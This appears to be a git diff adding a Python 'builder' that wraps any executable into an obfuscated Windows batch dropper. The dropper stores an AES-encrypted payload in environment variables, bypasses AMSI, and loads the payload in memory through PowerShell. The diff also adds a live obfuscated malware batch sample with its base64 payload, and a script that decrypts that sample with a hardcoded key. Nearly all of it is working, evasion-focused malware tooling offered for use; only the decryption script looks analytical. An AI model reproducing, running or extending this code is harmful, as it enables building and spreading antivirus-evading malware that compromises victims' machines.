+    decrypt_parts = [
+        f"${v_aes_obj} = [System.Security.Cry",
+        f"pto",
+        f"graphy.AESCryptoS",
+        f"ervice",
+        f"Provid",
+        f"er]::new();${v_aes_obj}.Mo",
+        f"De = [System.Security.C",
+        f"ryptogra",
+        f"phy.CipherMode]::cb",
+        f"C;${v_aes_obj}.pa",
+        f"D",
+        f"ding = [",
+        f"Sys",
+        f"tem.Se",
+        f"c",
+        f"urity.Cryptograph",
+        f"y",
+        f".Padd",
+        f"ingMod",
+        f"e]::PKcS",
+        f"7;${v_aes_obj}",
+        f".",
+        f"k",
+        f"Ey = [byte",
+        f"[]]@({key_ps});",
+        f"${v_enc_data} = [",
+        f"Conv",
+        f"ert",
+        f"]::FromBase64String(-join ($env:{concat_var_name}.Split('!')).For",
+        f"Each({{(Get-Item \"env",
+        f":$_\").Value}}));${v_aes_obj}.IV = ${v_enc_data}",
+        f"[",
+        f"0..15];",
+        f"${v_decryptor}=${v_aes_obj}.cREAtEDecRy",
+        f"pTOR();${v_decrypted}=${v_decryptor}.tRANsfORmfInaLBLock(",
+        f"${v_enc_data}[16..${v_enc_data}.Length], 0,",
+        f"${v_enc_data}.LenG",
+        f"T",
+        f"H-16);${v_asm} =",
+        f"[Syst",
+        f"em.Reflection.A",
+        f"sse",
+        f"mbly]::lOaD",
+        f"(${v_decrypted}",
+        f");${v_asm}.eNt",
+        f"RYPoI",
+        f"NT.Inv",
+        f"oke($null, $n",
+        f"ul",
+        f"l);"
+    ]
+    
+    obfuscated_decrypt = ''
+    for i, part in enumerate(decrypt_parts):
+        if random.random() > 0.7 and i > 0:
+            junk_var = rand_var(5, 10)
+            obfuscated_decrypt += f'%{junk_var}%'
+        obfuscated_decrypt += part
+    
+    decrypt_code = obfuscated_decrypt
+    lines.append(make_set_cmd(v_stage2, decrypt_code))
+    lines.extend(make_junk_block())
+
+    entry_code = f'iex $env:{v_stage2}'
+    lines.append(make_set_cmd(v_stage5, entry_code))
+    lines.extend(make_junk_block())
+
+    v_amsi_psauto = rand_var(6, 10)
+    v_amsi_ast = rand_var(5, 8)
+    amsi_code = (
+        f"${v_amsi_psauto} = [ScriptBlock]::Create('').Ast; "
+        f"${v_amsi_ast} = [System.Management.Automation.Language.ScriptBlockAst]::new("
+        f"${v_amsi_psauto}.Extent,$null,$null,$null,"
+        f"${v_amsi_ast}.EndBlock.Copy(),$null); "
+        f"iex $env:{v_stage5}"
+    )
+    lines.append(make_set_cmd(v_stage3, amsi_code))
+    lines.extend(make_junk_block())
+
+    v_sb = rand_var(5, 8)
+    trigger_code = f"${v_sb} = [ScriptBlock]::Create('').Ast; iex $env:{v_stage3}"
+    lines.append(make_set_cmd(v_stage4, trigger_code))
+    lines.extend(make_junk_block())
+
+    sleep_code = f'Start-Sleep -Seconds {random.randint(1, 3)};iex $env:{v_stage4}'
+    lines.append(make_set_cmd(v_stage1, sleep_code))
+    lines.extend(make_junk_block())
+
+    v_toplevel = rand_var(5, 8)
+    v_wrapper = rand_var(6, 10)
+    wrapper_code = f"${v_toplevel} = 'placeholder'; iex $env:{v_stage1}"
+    lines.append(make_set_cmd(v_wrapper, wrapper_code))
+    lines.extend(make_junk_block())
+
+    launch_label = rand_label()
+    lines.append(f':{launch_label}')
+
+    v_launch_flag = rand_var(6, 10)
+    lines.append(make_set_cmd(v_launch_flag, f'iex $env:{v_wrapper}'))
+    lines.extend(make_junk_block())
+
+    lines.append(f'start %tmp%\\{output_exe_name} --headless powershell -c %{v_launch_flag}%')
+
+    end_label = rand_label()
+    lines.append(make_goto_cmd(end_label))
+    for _ in range(random.randint(3, 8)):
+        lines.append(make_rem_line())
+    lines.append(f':{end_label}')
+
+    final_lines = []
+    junk_count = 0
+    for line in lines:
+        final_lines.append(line)
+        if junk_count < JUNK_BLOCKS and random.random() > 0.88:
+            final_lines.extend(make_junk_block())
+            junk_count += 1
+
+    bat_content = '\r\n'.join(final_lines)
+    with open(output_path, 'w', encoding='utf-8') as f:
+        f.write(bat_content)
+
+    print(f"\ndone: {output_path}")
+    print(f"tmp exe: {output_exe_name}")
+    print(f"lines: {len(final_lines)}")
+    print(f"chunks: {len(chunks)}")
+    print(f"size: {len(bat_content):,} bytes")
+    print(f"key: {key.hex()}")
+    return True
\ No newline at end of file
diff --git a/builders/builder improved/obfuscation.py b/builders/builder improved/obfuscation.py
new file mode 100644
index 0000000..5da9470
--- /dev/null
+++ b/builders/builder improved/obfuscation.py	
@@ -0,0 +1,42 @@
+import random
+try:
+    from .rand import rand_var, rand_case, rand_words, rand_label
+except ImportError:
+    from rand import rand_var, rand_case, rand_words, rand_label
+
+def make_junk_var():
+    return f'%{rand_var()}%'
+
+def make_set_cmd(var_name, value, obfuscate=True):
+    set_cmd = rand_case('set')
+    if obfuscate:
+        fmt = f'{set_cmd} "{var_name}={value}"'
+        prefix = make_junk_var() if random.random() > 0.5 else ''
+        return f'{prefix}{fmt}'
+    return f'{set_cmd} "{var_name}={value}"'
+
+def make_goto_cmd(label):
+    goto = rand_case('goto')
+    g = goto[0] + make_junk_var() + goto[1] + make_junk_var() + goto[2:]
+    return f'{g} :{label}'
+
+def make_rem_line():
+    rem = rand_case('rem')
+    style = random.choice(['rem', '::', 'rem_junk'])
+    if style == 'rem':
+        r = rem[0] + make_junk_var() + rem[1:]
+        return f'{r} {make_junk_var()} {rand_words()}'
+    elif style == '::':
+        return f'{make_junk_var()}:: {make_junk_var()} {rand_words()}'
+    else:
+        r = rand_case('rem')
+        return f'%{rand_var()}%{r} %{rand_var()}% {rand_words()}'
+
+def make_junk_block():
+    lines = []
+    next_label = rand_label()
+    lines.append(make_goto_cmd(next_label))
+    for _ in range(random.randint(1, 3)):
+        lines.append(make_rem_line())
+    lines.append(f':{next_label}')
+    return lines
\ No newline at end of file
diff --git a/builders/builder improved/rand.py b/builders/builder improved/rand.py
new file mode 100644
index 0000000..2b8132a
--- /dev/null
+++ b/builders/builder improved/rand.py	
@@ -0,0 +1,33 @@
+import random, string
+
+def rand_str(min_len=5, max_len=10, charset=None):
+    if charset is None:
+        charset = string.ascii_letters + string.digits
+    length = random.randint(min_len, max_len)
+    return ''.join(random.choice(charset) for _ in range(length))
+
+def rand_var(min_len=6, max_len=12):
+    first = random.choice(string.ascii_letters)
+    rest = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(min_len-1, max_len-1)))
+    return first + rest
+
+def rand_label(min_len=5, max_len=10):
+    chars = string.ascii_letters + string.digits + '[]{}()_'
+    first = random.choice(string.ascii_letters)
+    rest = ''.join(random.choice(chars) for _ in range(random.randint(min_len-1, max_len-1)))
+    return first + rest
+
+def rand_word():
+    vowels = 'aeiou'
+    consonants = 'bcdfghjklmnpqrstvwxyz'
+    length = random.randint(3, 12)
+    word = ''
+    for i in range(length):
+        word += random.choice(consonants) if i % 2 == 0 else random.choice(vowels)
+    return word
+
+def rand_words(min_count=3, max_count=10):
+    return ' '.join(rand_word() for _ in range(random.randint(min_count, max_count)))
+
+def rand_case(s):
+    return ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in s)
\ No newline at end of file
diff --git a/builders/builder improved/run.py b/builders/builder improved/run.py
new file mode 100644
index 0000000..7cf8bd7
--- /dev/null
+++ b/builders/builder improved/run.py	
@@ -0,0 +1,39 @@
+import sys, os
+
+JUNK_DENSITY = 2
+JUNK_BLOCKS = 25
+PAYLOAD_CHUNK_SIZE = 2800
+OUTPUT_NAME_LENGTH = 9
+AES_KEY_SIZE = 32
+
+exec(open('rand.py').read())
+exec(open('crypto.py').read())
+exec(open('obfuscation.py').read())
+exec(open('generator.py').read().replace('from . import', '#').replace('from .rand import', '#').replace('from .obfuscation import', '#').replace('from .crypto import', '#'))
+
+if len(sys.argv) < 2:
+    print(f"usage: python run.py <input.exe> [output.bat]")
+    sys.exit(1)
+
+input_path = sys.argv[1]
+output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
+
+if not os.path.exists(input_path):
+    print(f"file not found: {input_path}")
+    sys.exit(1)
+
+with open(input_path, 'rb') as f:
+    exe_data = f.read()
+
+if not exe_data:
+    print("empty file")
+    sys.exit(1)
+
+print(f"in: {input_path}")
+print(f"out: {output_path}")
+
+if generate(exe_data, output_path):
+    print(f"\ndone: {output_path}")
+else:
+    print("failed")
+    sys.exit(1)
diff --git a/original/._decrypt_order.py b/original/._decrypt_order.py
new file mode 100644
index 0000000..96ff44f
Binary files /dev/null and b/original/._decrypt_order.py differ
diff --git a/original/._dontrunACTIVEmalware.bat.txt b/original/._dontrunACTIVEmalware.bat.txt
new file mode 100644
index 0000000..96ff44f
Binary files /dev/null and b/original/._dontrunACTIVEmalware.bat.txt differ
diff --git a/original/decrypt_order.py b/original/decrypt_order.py
new file mode 100644
index 0000000..727bb73
--- /dev/null
+++ b/original/decrypt_order.py
@@ -0,0 +1,105 @@
+#!/usr/bin/env python3
+
+import re
+import base64
+from pathlib import Path
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import unpad
+
+correct_order = Path('order.txt').read_text().strip().split('\n')
+correct_order[0] = correct_order[0].split('=')[-1]
+
+print("=" * 80)
+print("decrypting...")
+print("=" * 80)
+
+print(f"\ngot {len(correct_order)} vars:")
+for idx, var_name in enumerate(correct_order, 1):
+    print(f"  {idx:2d}. {var_name}")
+
+content = Path('dontrunACTIVEmalware.bat.txt').read_text(encoding='utf-8', errors='ignore')
+lines = content.split('\n')
+
+variables = {}
+for line in lines:
+    matches = re.findall(r'[sS][eE][tT]\s+([a-zA-Z0-9_]+)=([A-Za-z0-9+/=]{1000,})', line, re.IGNORECASE)
+    for var_name, var_value in matches:
+        variables[var_name] = var_value
+
+print(f"\nfound {len(variables)} b64 vars")
+
+payload_segments = []
+for var_name in correct_order:
+    if var_name in variables:
+        payload_segments.append(variables[var_name])
+        print(f"  ok {var_name}: {len(variables[var_name])} chars")
+    else:
+        print(f"  missing {var_name}")
+
+complete_b64 = ''.join(payload_segments)
+print(f"\ntotal b64: {len(complete_b64)} chars")
+
+encrypted_data = base64.b64decode(complete_b64)
+print(f"decoded: {len(encrypted_data)} bytes")
+
+aes_key = bytes([150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189])
+
+iv = encrypted_data[:16]
+ciphertext = encrypted_data[16:]
+
+print(f"\niv: {iv.hex()}")
+print(f"ciphertext: {len(ciphertext)} bytes")
+
+cipher = AES.new(aes_key, AES.MODE_CBC, iv)
+complete_blocks = (len(ciphertext) // 16) * 16
+if complete_blocks < len(ciphertext):
+    print(f"truncating {len(ciphertext) - complete_blocks} bytes")
+    ciphertext = ciphertext[:complete_blocks]
+
+decrypted = cipher.decrypt(ciphertext)
+
+try:
+    decrypted_unpadded = unpad(decrypted, AES.block_size)
+    print(f"removed padding: {len(decrypted)} -> {len(decrypted_unpadded)} bytes")
+    decrypted = decrypted_unpadded
+except:
+    print(f"no padding found")
+
+print(f"\ndone")
+print(f"size: {len(decrypted)} bytes")
+print(f"first 16: {decrypted[:16].hex()}")
+print(f"first 2: {decrypted[:2]}")
+
+if decrypted[:2] == b'MZ':
+    print(f"\nit's a PE!")
+    
+    Path('payTheload.bin').write_bytes(decrypted)
+    print(f"saved to payTheload.bin")
+    
+    print(f"\ninfo:")
+    print(f"  sig: {decrypted[:2]}")
+    print(f"  size: {len(decrypted)} bytes ({len(decrypted)/1024:.1f} KB)")
+    
+    strings = []
+    current = b''
+    for byte in decrypted[:5000]:
+        if 32 <= byte < 127:
+            current += bytes([byte])
+        else:
+            if len(current) >= 5:
+                try:
+                    strings.append(current.decode('ascii'))
+                except:
+                    pass
+            current = b''
+    
+    if strings:
+        print(f"\nstrings:")
+        for s in strings[:20]:
+            print(f"  {s}")
+else:
+    print(f"\nnot a PE")
+    print(f"got: {decrypted[:2].hex()} (wanted: 4d5a)")
+    print(f"order still wrong maybe?")
+
+print("\n" + "=" * 80)
diff --git a/original/dontrunACTIVEmalware.bat.txt b/original/dontrunACTIVEmalware.bat.txt
new file mode 100644
index 0000000..9a57439
--- /dev/null
+++ b/original/dontrunACTIVEmalware.bat.txt
@@ -0,0 +1,123 @@
+echo Zgo > nul
+@echo off
+r%C8uyp7%E%pGvdVF5%m%wFxoAza% %AxasBiTB% drtit zaazeka moinast judinec linolesup hpameslet docynt
+g%TJhFOm%ot%YqSWwpg%o%ydtzVR% :tD1l[XCl
+%m5hmA897%:: %cek0mrq% khepbx jkzc motivvce weptotu bgbaqrmst
+%CwZrnPPE%R%hiZQPIy%e%VOvtgX%m  hvjzd frap mrusinla rgfgt bcorno ujdaddd ohdet dogytek iezikaht hrggda xvon
+:rtDCGxhx
+
+
+g%zJxAImzQ%o%XdRmWZ10%to%ygDY2QE% :gqiQst5
+:%jis2O8e%:  oabourati cbiruiyg pomrkv pagto pipqwa uvjkvnbvt bnextaj vrchopot
+%YqOqMUv5%R%jHWb8h%eM%dDGDPB% %Zg0GOr% sariptya trwsa okzc vrvrnle rstivosn aonoc hhludj brntnrie zakjstit momentcka jarmark
+Re%JNWu1ug%m%dNSUj6%  gnufnd sksost oozjezd knquheuna mazaheb ldserer klem prblev chirurk
+:gqiQst5
+start %tmp%\PbSqbhfUS.exe --headless powershell -c %nZaRCF%
+%eZsiVIr%go%Yc5kjm%to%UIAnCqs% :eoF
+%pS91WmFl%::  zadqusoit vsdsuroo yrwidlo vaktus nrwcasdlo pachtqatel iafodaat wkeocaal kukya
+R%FOjmEE%EM%UDwfzjL%  vederina souldd laddmpaw lopukv saqvsta xnanvis pbvinit ogktaoit twvorbao
+:b}2Ckx15
+s%Mzwn4Qm1%et "C7s8RB=e"
+
+set%IEcSPE% "jnp0uy1=PbSqbh"&&%jyD1FWpD%set "c0QfqV=copy"
+%VzttiyPK%s%Ddd20TF%e%uBtEAsTm%t%h1O7QycS% "qQ0V(m=%tmp%\" && %dJDQ2ZEM%s%agGGcaj%et%iuBFefK% "GIr9AwA=fUS.ex"&& se%rmUL8ku%t%bDMQRiS% "Za(ePx= %[quQdt% " 
+%c0QfqV%%Za(ePx%%qQ0V(m%%jnp0uy1%%GIr9AwA%%C7s8RB%
+%WQoaSyNq%go%kiCQBs%t%juir0E%o%cJGM9rx% :rtDCGxhx
+r%DaMoWuE%eM %vEmKBD% goep dlutat oahcada soopofao oggpopiwx robqak
+:FAJ[7Jm
+SEt "UnG22ylI=$YszDyz= [System.Management.Auto%fP49FRN9%mation.Language.ScriptBlockAst]::n%PZBFT1%ew($PSAu%gz4JG4%yf%uJVBOE6i%b.Extent,$%MwcLPvxF%n%tl4fveVV%ull,%bRT9WB%$nul%YFEDMxVc%l,$nul%kKxg15ZF%l,$ah%iMxxu2%pH2z.EndB%UDhjUSv%lock%p74uegD%.Copy(),$nu%k6YQcTQK%ll);i%JtizP4Qz%ex $env:dTmxoA"
+sET ilUetRQ=2ftQG4RW0uqZ50Pm8/pttbZ8el+oPsE2avt3oy8ykb1uPnxB1FVNyopqCNpIfOBlKIikPknG5s1XlvDkVV5kFeAJTAQWKYNm5W/rPXgENYqopm8rKFl7b/X6refYs57SThnA9Jmrc3o5EMlhZa8CUcruI1IKjeNjt8XJlhrJ3+BbBGJvhdT2i0x8+Ln6fMplHAhUL5cmnVk0xAB0vx1PFvV9ZDjxchn3xW8TBAKaLJ7rNZkxff9si3sM+QXCZuHZKFLDGs4RI6wX+OENFCwzWLYt5Z3/Ik6UDm6hm08un9nJrJaEKRFTIeQtZ8Uiy68lgF+dOeDQcx8zexuqAykLHsYSeSckd6HRbegChRuIposzjz1Z/F8W/WQM63V6hS79EpzKMesDTFRiHegGIxfA/hEWiwfVZiu92EgaSKjBCxWETFVW/DqcZoPfaI2YZvBqVZDsich+nz1Swezbddwgq8KIF8I4HbJ8Wlo/JQKVIbqOkLJ5g82idLcWoLzmnEqy7Z88nU24oA/DaAIvdsIPMVW7TRFnjPrvb0+CM9U5ctzu0yHqSpwQ/HhGTR6BbjJYbe0KfX81UC7dZv2oP5kNuwMiHyEGPT34Jf0z2Lu5XW89uIbHcPsffr3Tpo0KeUOrs+BH62riVTQc6WAGU/jE15b6U7qXY6K/HXgcGZSeayAldgTNGwQ2bw2UMEYwOa/mZippO4+yQ/SI62vrhOFv6d2iAyDdyuraxDTD0l5pjqX8NlGB+aOssN/8XG/1kJdqh33euoFPh1D6b25IS8r2KhoPw21FnLJF1pEqYGZ9djlk4WvSTUJQRIQxJI4AkWcR0tHHd+kbxrQNhphsKpiRHkPf59fxhJEH7A0QlHaghaxw9O4RnTHRIV9S7iII0dAYCOXsaKynsv/xGe78lIuMeckJ+JBbbEn+Yg3cxDP5V7FnsK4Uc1Spy99TzUEvZ2Uto5IfoJxkzTpaoi+Crl8pumi66d0JKLS7o0X3Pi6vNJtosLQPOuol8zgLlR/RA7OdqJyChqvypqbz/YaY06wy4Yu9DZNkbKjdsxIqhWxvy/YwZrhJ7DNStMz89Lec28MEV0xmd7J9U9RYujkNbf45Gd3im1V4ksFVMKXTTQQ0ZoRzuNrawCwG6AepmmBGDK9iTQm+chliebOjeO4PcXZobvCC+TUdWEvhNC4teZfeP1+HeliNbfmdyR8CYuvWdNOV5QXiOOOTggql4xB+s/VxGWEvyF3LfWOUhHPsO5877dLkO+mCYudhWX/FvBz/wU4/L+prU7q2poYf17H6y3qZ7IhZZW2n1n1DeKIx/OVFC/LyR8kWYC9Cp8QtsQ3kxkc15jr3bLFcE36ttKTxCnFHeKCNoBOkJXTS6g9GcWeSCMnmBL0F1IkovOschvX5YiYV3yPoS/DqSbzOn6tLrfIqVSTNwwKuL3SQy2naGsYimZ4IsbWccSWzMnStGuG4g5f1cG4b8FJ0ThtU8r9PwwiymLQj0J8MX8pAMBWQ1n3Z/Vm+HmLZjgIqMbNvv1db3wYI5q/g7T3xVxlJ6PrAOUgYYigrHenspc0CfEHW1bC9obN5M6qRbep1TmQYwqIC+X+fQLAdBQqAtlVYLuzoLVaQlDK1nL0Wg/D13bU6aCrQgkIVtBN7zdZjw+e0zL1MTvx1Vxq8eYM04o78U6VsdItWndZWBxckzIkfHGjSNwjBZwfxtGDpBseUJm9kJp681vbM7GP4263t/XbTysRtlfw5Dygl2rT9GqbeGs3rViiJTtfGS9u7ViJcOFI25CdhuBqPdWZxEAcqEuL+3RpptFt21rens3S4bjPhg2bW3Ht5ZtDeDgsdyKKR45bGK3lC1C1kN7CwFbvS5ycXzwqHSJNxVv3p6MSSQqFYOQh5HknR/7iU4bvZaSOXPTN0M3w06eoqd8XFJsEPCTjkeD8GyxcnmpBNTDU59cKOwUX+cH3Jvlbw5k4t9ncZpScJsbmhPAdeKW21SlL1M//WLPiZg9MGAyxQJxnPoriL7rS8A3qrczUfYbl2hd3l9fJ1Ih7+GuEyGjpKHEgULsq8LQSRo5TBXgJbGGWYp0VysdcKc6ffLPh9AeiehAHJKOohMty7HhMjgUgdAcfSnbmSV2FbszhJyBfw4J81YFvvYM0dv5/wc5+GeA9eBmrgcB4Wk9u+EfDwBDB3eA5Ui9aNpnVzbnf/nnQMr8cfQug3GiF0sY78rrr57RQ5F5Wu6dc50ZB0Sb7qzH+Lc99dZjbO//EUUAmwsS1qBf3XLVBqB1Z9QxdWBMqY6djKBJ+Wom//HFidLiSo/OKdMtsjL2+IxSPZaEezFwM9s+4Y4S2Z2OYJQP7zn2b4xQm86l8EPSSdTzYp04O4D2uTDu+dMJj8QviHe/fN/YMSx+nMQigPfl4jYEPS0a+EmYYRVrg24MzYmX+5IZos5r2mQ0p9/0Mw7XVWplSwSiSwQOyUcsYHWlh8T9A29hhYageAcDwh1sW04VlV6rwI/vh1xVqYxqmnSnX7yvgQBnMiiwWnIy+ex6bMdRsh/CKLwbxGDHn6eRyCfuVWjUVegL9esK45Ml8ldBAhFR48iqhC4OsnHAS3A8kP89ExvNJJL2E6hg+MBieP+/+gSqcxc3Z7a2mOTHnsanwc/FI3jO8Q4ofjUtScDKnU43EuLidbtrF7jGuV44RLlqG+ujgoAnIuQgjSKQ9mBBTHICOOC2H1N5UmKkyiuouu3p1eBDNW/M0wVmd9kC8MZYxKy+R90rcVzFFVVJzTWnZMPxdE0PEqcLOxMDuEx2Ne/EuR+uPpTUcfCOHaOeUddRqCAAqW3qrouKfp8Pcy3MHM+AKgn1kTrav23Vkg5Eg0tyaVwkb6s6mqMUigwrinO6TdhMc9n5pvAfcjvCYbk9oes8s34me5IT701RktE/67LIZUwsbiryL/7FWBDjA2Wr+ORFFJ7qdPcl+7wcQ6tSihLZ4pZi7HtD2JQ8DwEizMbucWvDoLoi+nu0fRxIsSFduicD/2V8AcOpDrFtWvKSu6shcfplpTIsncCI+Bn4tKiYjLhSachOWgOBL2XxkfpnpW7w1KG0nR3EEa6T8AHHnZ8lbF49Dn5eoLQ9Nzsnrali40svXc4beZCA+rBWmbGBUBQVX1GMHbphTTKZOqu2ewIPYBQ3Zo+UD5ddJtKiENISvMrNdiTTT+XghC0SkUCxWIl9WmD4W+d6gVv1xX0BRea/0WjukBMDeE2O84P4Ce2nNm8GkxB5+4CZnYm61HOxY/mT2RzEaG35pHbUQoEkGBAabq7If9QBLJC7XF2gYiBpaDnczzlAcfWQ4gwCMaIbnTL/nPlwtb4+Czim5lZsrPqyMIRQ2aoFFN5V3xvN+dUxcXRJ0++qNplervfQ/ytgmfle/n5SImH2DvYeLyTGd+IwjYRF2gsINx+UDO38yYbvnZurTmcTvNe1y9e8I+A9HcALYjedoZkrgvwK/8zO5DetFnrX60LDmf0eHm74kGEYEMesAuYSgLnL4o/ZhJgeVLmFJjug15sIu9ageeZBHXkRzNn7M7c3bqKgggGu18Oo2/t5O7YAY9jgCoJ7G0aFB/7qdgMR5eIA0N4u9SPaBNcXGjiW0+H55K3rSGCcwJq9L+Xdp1+CZFRh9pBis4q8hj/wLPAdE71DZNIH1TqOQe56EZ4D6bmW+Dcb18s4RBo9bx+skTPZDYR77S+P7yDRD25ftDQi9bpVi9uQ09xk68s/3hJH/0ef0s9JztK1oMU4Bfgmc+S2cCZyrdRpbWHgSO4aUdSZYEVYj+3fB/KCbS+DhmhcsVA/b25JDs43xw4LHYJlwB5IhPZNxLlRdy8efpcbGyt0bzr2q0ENmjRSf+mug88Go6m7E14U+SkMnc6WYv/canWcrOKq6wKWRF9gh9wzXxiVYnPfDlcDTlulc65NyHDrrr9FvJT7mB+S/rDwqoZpmcvg3zC4qvso99aoxWhE8FBjGbMiH/HOWXQ3+455S7nuqrnLVCgaOEpQZlvHUYnDkD2kmBDR/HL+YJKeSrFhGvIvTYx6oiOj0dmf2l/6p8DF8ekHwOQ97TL+jiiqdtIRTcX+kWO4epeAwSduOed/Er7m25/bguDVtkM718+wR/W+LdA3l0YlwEk9RPW2xJooGZff7at8/ClmsDBNS8xf4H2Kwp5tSJyCuUh3HhRe1Xf41L4BB5D2Py9ji9S8Z5eGRTnl633wtLjksQdSdht+SrGTEk/+sK/RGARHjthiv5vTCWCPKGqCJcVpS1eJ7YdjwErtNLw2was/s9ThQtKdQZvar2OdTms+NPCjkVwdrwcYDnRC69TV714w8jOH4kgA73Ck1ADPEDO6uASG4IxoglxfxWd/1C+otPwucVLZejiT+HO7JdxZ3ENo9jOKTKeVwZ5gt9zsYAEgV9fjnruHTn2HqBwQyAcoE94ubptJxPhoj64FLGMFFfCDm2/yp71Ep3IiYPKXsO3LimMEJF2SJu6Z73RxyG7giyepZNnQ51Su0HBwkEG5JXAbkplNxPOYqLm7roXrdfCY6aIwC96b9QMYj+fu2/EdFzQH1YGwhRB+StlfohQcWHjiKGyl/mQBC+7NsWKJ4bv8baTBPrg5tdAvLa/hHJ9l20TZMCo54TjCPGr+Kg6cSgNXstsgBSn5dHbdORotwuvU3T/cV4RWPZnGxodEe71J4wyuwrZLYqGMVkSy8QVT9RV1699T9mDp1ON+sg9JpJzDxk9uqKGoqLTnfqfnkTZ1TXy/VaeKrlmV7cb61H8/zWXVVV9aFNC2R5TrYgo5YwupoUaPyDGlUQvPc9qX2Ri1rDaKvFFTPEN70y20BRjmIUFJpJNgezSwBlOYmBKje8PNn7dL86p/+01DxRt6bmqZjJXfF2SG8dDK3plap22slWnxgpCXpPDGGNcSNX9IUbJ/8x+zNCpSBF+5nT0c5p+yXMAyAJOu4V78/2Iz6+RqWFyBI1Ec85R42p3+/VjKKjQxhvMDRGTQJVND3VFzXL01HHC7hCC+kQtN8KBY7wViBqVyg8ct4yI2zqyNrg5SmRRCln96MMM7kY7MAOvRRVtL6g9oTdbK5t6hGvlEYRNn/FQDWyolKHrJ/5I930EIJAuDBjN8zMxLZH7YKTiLJAKhzli2c8rzlHyT94hp/e7kbfSk+TImPL4OpPzNNTfzA0r39ovQgbIAb73bsWZ4HuWQxH1wY8VNHUe7Y6r2Ctxj+Qni2idcpm6viRF8ZuUo0y/tiqQZ4E2Cxq1U4hZ56n9qx68EEMA9bP8883ZkRyPVuO9a+G//lW15ezjiWW3K8QlxoFZ206IbsCRQoY53euQ2ZfQp0qfta5gqLkxvcPrBB51zMEpT1auVQdqzsd1+8KnCGLOQ0G+wx6dhn/Uvf+5WSEBgOlWC7qQ+330iF/FRbrAc8v2/6C1MvZe2tyuN5J5TJ0qoKb+mfR
+SeT xWiRpFW=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